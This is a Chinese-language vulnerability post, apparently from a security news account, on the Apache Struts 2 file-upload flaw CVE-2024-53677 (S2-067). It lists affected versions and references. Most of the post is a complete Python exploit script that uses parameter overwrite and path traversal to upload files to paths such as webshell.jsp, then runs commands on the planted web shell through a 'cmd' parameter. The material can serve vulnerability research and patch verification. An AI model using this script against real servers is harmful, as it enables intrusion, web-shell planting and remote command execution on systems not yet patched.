CVE-2024-53677|Apache Struts 2(S2-067)远程代码执行漏洞(POC)
CVE-2024-53677|Apache Struts 2(S2-067)远程代码执行漏洞(POC)
alicy 信安百科 2024-12-21 10:15
0x00 前言
Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java ServletAPI,鼓励开发者采用MVC架构。
0x01 漏洞描述
Apache Struts的文件上传逻辑中存在漏洞,若代码中使用了FileUploadInterceptor,当进行文件上传时,攻击者可能构造恶意请求利用目录遍历等上传文件至其他目录。如果成功利用,攻击者可能能够执行远程代码、获取敏感数据、破坏网站内容或进行其他恶意活动。
0x02 CVE编号
CVE-2024-53677
0x03 影响版本
****“`
2.0.0 <= Struts <= 2.3.37(EOL)
2.5.0 <= Struts <= 2.5.33
6.0.0 <= Struts <= 6.3.0.2
****
**0x04 漏洞详情**
****
POC:
https://github.com/TAM-K592/CVE-2024-53677-S2-067/blob/ALOK/S2-067.py
import requests
import argparse
from urllib.parse import urljoin
from requests_toolbelt.multipart.encoder import MultipartEncoder
import random
import string
import os
def upload_file(target_url, upload_endpoint, file_paths, destination_path, allowed_types=None, allowed_extensions=None, simulate_i18n=False, execute_command=None):
“””
Upload files to the target using parameter overwrite and path traversal.
“””
upload_url = urljoin(target_url, upload_endpoint)
print(f”[INFO] Uploading files to {upload_url}…”)
headers = {“User-Agent”: “Mozilla/5.0”}
for file_path in file_paths:
with open(file_path, “rb”) as f:
file_content = f.read()
fields = {
“Upload”: (os.path.basename(file_path), file_content, “text/plain”),
“top.UploadFileName”: destination_path,
}
if simulate_i18n:
simulate_i18n_errors()
# Simulate MIME type and extension restrictions
if allowed_types:
headers[“Content-Type”] = allowed_types
if allowed_extensions and not destination_path.endswith(tuple(allowed_extensions)):
print(f”[WARNING] File extension {destination_path.split(‘.’)[-1]} might not be allowed.”)
try:
m = MultipartEncoder(fields=fields, boundary=’—-WebKitFormBoundary’ + ”.join(random.choices(“abcdefghijklmnopqrstuvwxyz1234567890”, k=16)))
headers[“Content-Type”] = m.content_type
response = requests.post(upload_url, headers=headers, data=m, timeout=10)
if response.status_code == 200:
print(f”[SUCCESS] File {os.path.basename(file_path)} uploaded successfully: {destination_path}”)
verify_uploaded_file(target_url, destination_path, execute_command)
else:
print(f”[ERROR] Upload failed for {os.path.basename(file_path)}. HTTP {response.status_code}”)
except requests.RequestException as e:
print(f”[ERROR] Request failed for {os.path.basename(file_path)}: {e}”)
def verify_uploaded_file(target_url, file_path, execute_command):
“””Verify if the uploaded file is accessible and optionally execute a command.”””
file_url = urljoin(target_url, file_path)
print(f”[INFO] Verifying uploaded file: {file_url}”)
try:
response = requests.get(file_url, timeout=10)
if response.status_code == 200:
print(f”[ALERT] File uploaded and accessible: {file_url}”)
if execute_command:
execute_remote_command(file_url, execute_command)
else:
print(f”[INFO] File not accessible. HTTP Status: {response.status_code}”)
except requests.RequestException as e:
print(f”[ERROR] Verification failed: {e}”)
def execute_remote_command(file_url, command):
“””Execute a command on the uploaded WebShell.”””
command_url = f”{file_url}?cmd={command}”
print(f”[INFO] Executing command: {command_url}”)
try:
response = requests.get(command_url, timeout=10)
if response.status_code == 200:
print(f”[INFO] Command output:\n{response.text}”)
else:
print(f”[ERROR] Command execution failed. HTTP Status: {response.status_code}”)
except requests.RequestException as e:
print(f”[ERROR] Command execution failed: {e}”)
def simulate_i18n_errors():
“””Simulate i18n file error handling scenarios.”””
errors = {
“struts.messages.error.uploading”: “Error uploading file.”,
“struts.messages.error.file.too.large”: “The file size exceeds the maximum limit.”,
“struts.messages.error.content.type.not.allowed”: “The file type is not allowed.”,
“struts.messages.error.file.extension.not.allowed”: “The file extension is not allowed.”
}
for key, message in errors.items():
print(f”[I18N SIMULATION] {key}: {message}”)
def predefined_paths():
“””Return a list of common test paths for path traversal.”””
return [
“../../../../../webapps/ROOT/test.jsp”,
“/tmp/webshell.jsp”,
“/var/www/html/shell.jsp”
]
def main():
parser = argparse.ArgumentParser(description=”S2-067 Exploit – Testing Deprecated File Upload Interceptor with Multiple File Uploads”)
parser.add_argument(“-u”, “–url”, required=True, help=”Target base URL (e.g., http://example.com)”)
parser.add_argument(“–upload_endpoint”, required=True, help=”Path to upload endpoint (e.g., /uploads.action)”)
parser.add_argument(“–files”, required=True, help=”Comma-separated list of file paths to upload”)
parser.add_argument(“–destination”, required=True, help=”Target destination path for uploaded files”)
parser.add_argument(“–allowed_types”, help=”Simulated allowed MIME types (e.g., application/octet-stream)”)
parser.add_argument(“–allowed_extensions”, nargs=”+”, help=”Simulated allowed file extensions (e.g., .jsp, .txt)”)
parser.add_argument(“–simulate_i18n”, action=”store_true”, help=”Simulate i18n error handling scenarios”)
parser.add_argument(“–execute”, help=”Command to execute on the uploaded file (e.g., whoami)”)
args = parser.parse_args()
file_paths = args.files.split(“,”)
upload_file(
target_url=args.url,
upload_endpoint=args.upload_endpoint,
file_paths=file_paths,
destination_path=args.destination,
allowed_types=args.allowed_types,
allowed_extensions=args.allowed_extensions,
simulate_i18n=args.simulate_i18n,
execute_command=args.execute
)
if name == “main“:
main()
“`
0x05 参考链接
https://cwiki.apache.org/confluence/display/WW/S2-067
https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-文件上传逻辑绕过-CVE-2024-53677-S2-067/
推荐阅读:
CVE-2024-48307|JeecgBoot SQL 注入漏洞(POC)
CVE-2024-45318|SonicWall SMA100 SSL-VPN缓冲区溢出漏洞
CVE-2024-37383|Roundcube Webmail存储型XSS漏洞(POC)
Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持
!!!
本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。